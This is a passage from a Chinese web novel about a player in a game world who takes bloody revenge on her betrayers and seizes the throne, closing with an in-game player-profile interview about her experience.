“主上。”声音重合。 两人相视一笑,笑得勉强。 “主上……”还是齐声。 师出同门? 像是一个辅导班出来的。 谁啊? 你朝他们点头,吩咐侍女找一间方便办事的屋子。 经过时,难免好奇,问:“到底是谁的衣服?” 蓝衣视线与你在空中交汇,一时面红:“他的……不不,我的!” “哦。” 大侄子想跟上你,但是你身边跟了荀左荀右,他不太敢。 隔着寸术,他问:“主上,今日又不走了吗?” “嗯,有点事要办。” “那今晚我……” “回你自己住处。” 大侄子松了一口气,但又有些惆怅。 一间宽敞的客室,里面的东西被侍从清出去。你拿剑在地上刻线,连成的区域是陈珣仅能栖身的地方。 “不可以把手脚放出去,只要出了边缘,就生剁了你。” 木地板上留下紧贴他身体的线痕,他是侧躺着的,你这样的要求就是让他一动都不能动,到死为止。 荀右拨了下他的脚,浸透了血、已干涸发硬的鞋尖便出了线。 他仰头朝你笑:“这算不算?” 你点头,他便抽剑,利器出鞘的声音使陈珣闭上双眼。 “还是算了。” 你复又用剑把地上的划痕勾掉,像在草纸上勾掉多余的辅助线,这道题不是这种解法。 陈珣忽然握住你的剑:“你来杀我……阿棘……” 你抬臂抽剑,他却用了更大的力气,新鲜的血从他的指缝中挤出。 “你……杀我……” “我想让你杀我……” 你看着他的双眼,想起过去的事,好的坏的都有,却已生不出什么波澜。 你道:“让陈澹生杀你。” 当日下午,陈澹生被寸术带到客室,带到陈珣的面前施针。 “有没有知觉?” “没有。” “不用紧张。这里有知觉吗?” “没有。” 寸术又上了一针,仍然没有知觉。陈澹生恨得眼泪落下,他将头转向一边,却看到了房间角落里的人。 擦干了眼泪去看,对上那双死寂阴沉的眼睛,他以为自己看错了。 他撑起轮椅的扶手,想站身确认他的身份,却无法操纵双腿,直接从轮椅上摔下去。 寸术深呼吸:“回来。” 陈澹生对他道歉,好听的话不用过脑子就说得出口,但仇人却要仔细看才能认出是不是他最恨的那个。 “陈珣……长兄……” 他回头,眼含期冀地望着寸术:“是他吗?是我兄长吗?” “我不清楚谁是谁的兄长,你若找陈珣,那是他。” 陈澹生脸上还挂着泪,那是他对自己永远无法站起来的绝望。但他现在愉快地笑起来,“是她准备的吗?她要我做什么?” 寸术道:“让你的腿在他眼前治好,然后换上华丽的衣服,走着去杀他。” 陈澹生高声道:“主上呢?我要见她!” “我好爱她!” 他咬着下唇,嘴角仍向上:“我没想过有这个机会,好爱她,果然我还是喜欢她!谁都给不了我这种感觉!我好爱她!” “陈珣,你听见了吗?阿棘要善待我,处死你!当日她带你走又能如何?你不安分,你守不住你的宝物!如果我是你,为奴为婢我都愿意!可你却另投二主!你要死在我手里了!” 他笑个不停,笑声诡异,寸术锁紧眉头。 那些针还插在他的腿上。他希望扎得不深,不然取出来很麻烦。 第二日施针,你去现场陪同。 陈澹生被你打扮得像珠宝架子一样,从头到脚都是名贵的物品。以为能刺激到喜爱这些的陈珣,他却一动不动,如果不是还眨眼,躺在那里和死人没有区别。 你琢磨了下,回房找首饰盒,翻出之前他送的钗子,找了几根,到客室全部插到陈澹生头上。 陈珣这才有了异样,他动了动手指,眼泪要将脸上的血迹洗干净。 你望着他的表情,不想错过任何痛苦。 你问:“后悔吗?” 话说出口,身侧的寸术与陈澹生安静下来,不再重复有无知觉的问题。 他们知道,你问的人是谁。 陈珣嘴唇翕动,说了两个字,因为在哭,没能说出声。 他便又说了一遍:“不……悔……” “我不后悔……” 你点头。 陈澹生拉了拉你的衣角:“他在挑衅主上。” 你道:“不算。挺好的,他后悔了才没意思。” 第五日,陈澹生的腿恢复知觉。寸术给他施针时,他唱起了讲述爱情的歌。他声音好听,唱歌悦耳,客室中因他的歌声明亮几分。 他的气色越来越好,容貌不再被颓废遮掩,放出的光彩比冬日的初雪更盛几分。 “主上今日来得晚了。” 寸术道:“她走了,没告诉你?” 陈澹生的笑容敛起。 “为何要走?我马上就能站起来杀陈珣了!” 寸术道:“杀人而已,有什么值得看的吗?” 无论如何,陈珣都必死无疑,用你为他准备的死法。 * 夜州过后,只剩长安。 但夜州城防森严,想要不打草惊蛇混进去,不论读了多少次档,也没能找到合适的路。 有人在背后支招防备你。何余那次就看出来了。 没有别的办法。 你打开【背包】,大侄子给你收拾的行李,被你和道具们放在一起。 你把他准备的各种颜色的剑都找出来,用绳子捆在背后。 决定硬闯。 走到紧闭的城门前,你攥拳敲门。 “谁啊!这么晚!不放不放!滚!” “乐王阿棘。” “……” 城门之内倏地没了动静。你抬头,只看到城墙上出现一排持弓射箭的黑影。被你发现,他们不再装模作样,直接敲鼓。 咚、咚、咚! “乐王来了——” 箭如雨下,你使用变身道具,把自己变作铁的质地。 挥开扰人的箭支,你对城门出拳。沉闷的一声,你的手发瘪,于是把自己的质地改成了更坚硬的钢。 砸碎了城门,你一步步往里面走。无数人阻拦你,用剑或火把。 伤了许多人,剑身砍得卷了。你从身后又抽出一把。 州牧府中。 “不好了!大人!乐王!乐王她攻过来了!” 州牧大惊失色:“不是说要偷袭我吗?怎么是攻进来的?还挡得住吗?” “挡不住了!大人!快弃城出逃吧!” “不可能,我死都要死在这!她带了多少人来!现在去长安求援来得及吗?” “来不及了!乐王已经在城中!是生是死,就在今夜!” “还没告诉我她带了多少人!” “一个人!” “我问你她带了多少人?!” “一个人!只有她自己!一个人!” “废物!城中至少有三千精兵!杀一个人都杀不死吗?” “大人!她刀枪不入啊!您要是不信,就去看看!她马上就到州牧府了!” “我早听闻她是真龙大仙,以为是作势传言,竟然是真的吗?” “大人!怎么办啊!您逃不逃?” 州牧肩膀垂下来,望向身后的屏风。 “柳大人,可还有脱救之法?” 柳玄捂着嘴咳嗽,缓了片刻。 “刀枪不入,便以柔克刚。” “遇火,便放水。” “变成巨人,就绊住她的脚。” “变成微尘,就用火烧。” “城破在即,这些话也要让我告诉你吗?” 州牧道:“不愧是柳大人!到底在乐王手下做事过,了解她的弱点!我这就去办!” 柳玄没有回应。屏风上的影子动也不动,仿佛下一刻就会没有生息。 你朝州牧府前进。原本没什么挑战难度的围攻,转眼变得棘手起来。 你被几人合力用绳索捆住,一圈一圈,缠到脖颈处便要勒下!你及时变成麻雀飞出,但紧随着你的是燃烧火苗的箭支。 想把麻雀形态的自己也变成钢质,但不可行,飞在天上需要羽毛。 你又落了地,变成巨人,但人们又拉起一道道绳子在你脚下,想要绊倒你。 变小之后,地上被泼了火油,一根火折子落地,迅速连成火海。 ……是谁,这么讨厌。 似乎你的所有变化都被克服。 但你并不是只能做到这些。 你撤了一瞬道具效果,冲入人群,在剑与剑冲击的同时,你变成了他们中的一个。 对方下手就变得迟疑。 抓住这个空挡,你不断变成其他人的模样,冲出了包围,使用导航找到去州牧府的路线。 “抓住她!” “哪个是她!” “你是不是乐王?!” “疯了吗?我不是!” 你不断朝州牧府前进。 有时变作路边的石柱,有时变作出来解手的人。 一刀劈开州牧书房的门,室内只有屏风旁的烛台亮着,仿佛指引你去那边。 你重新启用【寻途幡】,默念想要找到的州牧,按着箭头指示去了相反方向,在窗外的草丛中找到了他。 你捏开他的下巴,把追心蛊喂进去。 每个人对追心蛊的排斥反应不同。这人是眼角在流血,暗夜中看着十分可怖。很快,眼神变了。 “殿下……” 你道:“告诉你手下,夜州是乐王的了。以后他们都是乐王的臣民,天下不再有战乱。” “是,臣这就去。” 他俯首行礼,直起身时,惊恐看向你身后。 “殿下小心!” 你侧身躲过一击,是柳玄在拿剑杀你。 你不意外见到他,城内这样难打,一定有他的一份。 可。 “你能打得过谁?” 他的剑被你打落到地上。手中什么都不剩,垂落身体两侧。 他捂着胸口咳:“我知道打不过,不是在偷袭了吗?” 你望着他:“我要怎么处理你?” 柳玄道:“杀了便是。成王败寇,我无话可说。” 你思索片刻,从怀里摸出追心蛊。 柳玄看着,问:“你真要用这种伤人心智的东西夺天下?” “好用就行。” “如此不会长久,你还会再受制于人。” “之后的事,我现在不打算想。” 你拿出装着蛊虫的糖丸走近他。 柳玄盯你的手:“我以为你不会把这种贵重的东西用在我身上。” 你道:“不用就浪费了,没有抬举你身价的意思。” 你喂到他唇边,他没有反抗地吃进嘴里。 看着他咽下去,你道:“从现在开始,你要恨我。” 柳玄道:“我一直都恨你。” 话音落下,你看到他额头迅速覆上汗珠。 你对他笑:“我知道你喜欢我。” “无凭无据,你凭什么笃定?” 他的耳朵开始流血。 “如果你现在改变心意,顺从我的命令恨我,或许可以活下去。” “我恨你,不可能改变。” 嘴角也溢出血。 他的眼睛在烛光中盯你,一眨不眨。 “我恨你。” “我恨你。” “我……” 他呕出一大口血,再站不住,跌坐到地上。 他的眼角也流下血。血泪沿着脸上的轮廓流下,鼻子也流出血来。 他马上要死了。 他想再抬头看你一眼,但不想让你记忆里他最后的相貌,是这副不堪的模样。 弥留之际实在是很短的时间。他却想了很多很多事。 或许是他一直在想,只是这一刻那些细微的想法都和本能的求生一样浮出水面。 你不适合做皇帝,他明明有两条路可选。他可以护送你走上那个位置,坐稳了皇位,再一点点学习为人君。 可他选了另一条。他换了主君效力,那人说会善待你。 他相信过吗? 他到底是为了什么,走到这一步? “我已经恨你了……” 你蹲下身,抬起他的脸。 这是你今夜感受到他的第一次反抗。 他不想让你看到他的脸,可惜他的力气太小。 “听话的人不会死,你不听话。” “……” * 你最终到了长安。 阿荆在她的宫殿里对镜打扮,见你出现,仿佛见到寻常好友般。 “你来了?” 她问:“是这支玉的好看,还是金的好看?” “玉的。” “好。” 她把簪子戴到头上,端详一下自己:“好看吗,阿棘?” “好看。” “等下,我拿剑。” 她去柜子里找了一柄剑。“这是许氏天子的剑,我拿来用了。” “我也学了一段时间的武,我们比比如何?” 你从身后拔剑:“可以。” 她原地摆了个剑招,没摆稳,晃了一下才站住,不太好意思地笑:“别在意,来吧。” 你朝她挥剑,她总是慢了半拍才挡。打了几招,你觉得没意思。 “我要杀你,有遗言吗?” “有啊。”阿荆道,“我不想输。” “阿棘,你别打我了行吗?让我当五年天子,之后还给你。” “不行。” 她表情阴沉下去。 “那就杀个你死我活!” 她突然挥剑,你迅速后退,震惊盯她。 下意识抵挡,然而阿荆杀气太重,你不得不认真。 她用剑没有章法,一通乱挥,你挡了几次,没了耐心,直接将她的剑砍断。 阿荆怒道:“天子剑!你不要了吗!” 你道:“以后我用的剑才是天子剑。” 她愣了下,笑,一个钻身,从你背后抽出备用的剑。 “那我就用用你的天子剑!” 不会有悬念的结果。 她败在你的剑下。 脖颈将要受剑,她忽然道:“我有遗言!” 你问:“什么?” 阿荆仰头看你:“别恨我。” 她自己撞剑刃,脖子有血溅出,喷了你满身。 滚热的血液变凉,灯火通明的殿内只剩你一个人。 结束了。 一开始,你只是想看看背景剧情。 之后突发奇想,想在乱世做皇帝。成为皇帝就成了你的目标,你筹钱,招人。 还是阿荆他们的背叛,让你在这一关里有了其他要做的事,比如杀掉他们,怎样杀掉他们。 你在长安等了一段时间。 坐在城门口感受这个世界的风光。 之后你的臣子们来了,他们送给你一件黄色的外衣。 不小心披在你身上,然后全部跪地。 “拜见陛下!” 荀左荀右拉着两车男宠们赶来,叉着腰。 “我们把他们都教听话了。” 男宠们陆续下车,你看了一眼,没忍住笑。 “他们怎么和你们一样的打扮?” 衣服都穿了黑色束腰深衣,发型梳了高马尾。适合的还好,不适合的人看起来不伦不类,装嫩一样。 “陛下可误解我们了,我们把最好的东西拿出来,可是实打实为别人打算。” 大侄子从一众高马尾中探头:“陛下……” 他小跑着到你面前,把一包东西送给你。 “这是我大伯让我送来的,今年连枝丰收了!稻子长得可大,陛下快看看!” 你打开包裹,是已经干了的稻穗,闻起来一股谷物香。 “凤老不来长安吗?” “大伯说他老了,就不来凑热闹。” “嗯,我知道了。” 荀左俯身盯他:“你怎么回事?回队去,让你出来了吗?” 荀右道:“以为是个老实人,结果深藏不露,这么心机啊?” 大侄子:“……” 他惊慌地看着你。 你摆手,他便躲回人群。 “陈澹生也留在连枝了?” “逃了。疯疯癫癫的。” “寸术呢?” “游历行医。” “你们之后要做什么?” “……” “跟着你。” 你道:“如果我让你们回师门,把追心蛊的另一个蛊母带回来,你们做不做?” 荀左道:“做啊,” 荀右道:“我们最喜欢坑师父了。” 【进入结局】 这一关里,你做成了自己想做的事。 就算遇到了阻碍,你也没有灰心,而是更坚定了自己的意志。 我们游戏希望每个玩家,都能在游戏中收获到意外之喜。 这是游戏的初心。 通关成功:【宁做我】 【终章】 第139章 玩家档案 【姓名】 “███, 记得厚马。” 【年龄】 “为什么一直在问隐私问题?” 【……喜好】 “手机。” 【讨厌的东西】 “约束、期待。” 【想做的事】 “一夜暴富。” 【最近做的一件事是什么】 “打扫卫生,或者接受玩家档案录入。” 【上一件事是什么】 “吃饭。” 【你喜欢《恶毒女配向前冲》这个游戏吗?】 “喜欢。” 【会向人安利吗?】 “不会,我不喜欢分享我的爱好。” 【你是冷淡的个性吗?】 “我不是。” 【你是活泼的个性吗?】 “不是。” 【你觉得你是这款游戏的受众吗?】 “是, 我喜欢看剧情。” 【参与进剧情的感受是什么?】 “获得一些经验。” 【你经常玩恋爱游戏吗?】 “工作以后很少。” 【你喜欢的男性类型是什么?】 “没有类型, 看重眼缘。” 【在游戏内遇见的男角色, 你最喜欢哪个?】 “为什么有BGM响起来了?” 【不想回答吗?】 “过谁的线,喜欢谁。” 【游戏有给你带来很大的影响吗?】 “有。我学会了很多东西。” 【第二关?】 “是一些感悟上的。因为很感谢你们的游戏, 所以我接受和你们的这次谈话。” 【什么样的感悟?可以分享一下吗?主创团队看见也会高兴。】 “可以。我之前有段时间过得很不好。玩了游戏后,并不是说谈恋爱疗愈身心,主要是有时间缓冲那些负面情绪。让生活里出现别的事, 看到一些活着要面对的痛苦, 就不觉得自己的人生有多难过了。” 【你现在还难过吗?】 “已经好了,谢谢你们。” 【恭喜你, 有什么话想送给处于痛苦中的其他人吗?】 “山高水阔,痛苦是自己给自己的。能解决问题就解决, 不能解决就逃走。” 【还会继续闯关游戏吗?】 “有兴致会。” 【愿意继续在论坛中创作你的游戏经历吗?】 “愿意。” 【档案记录结束,感谢玩家██████,祝你生活愉快!】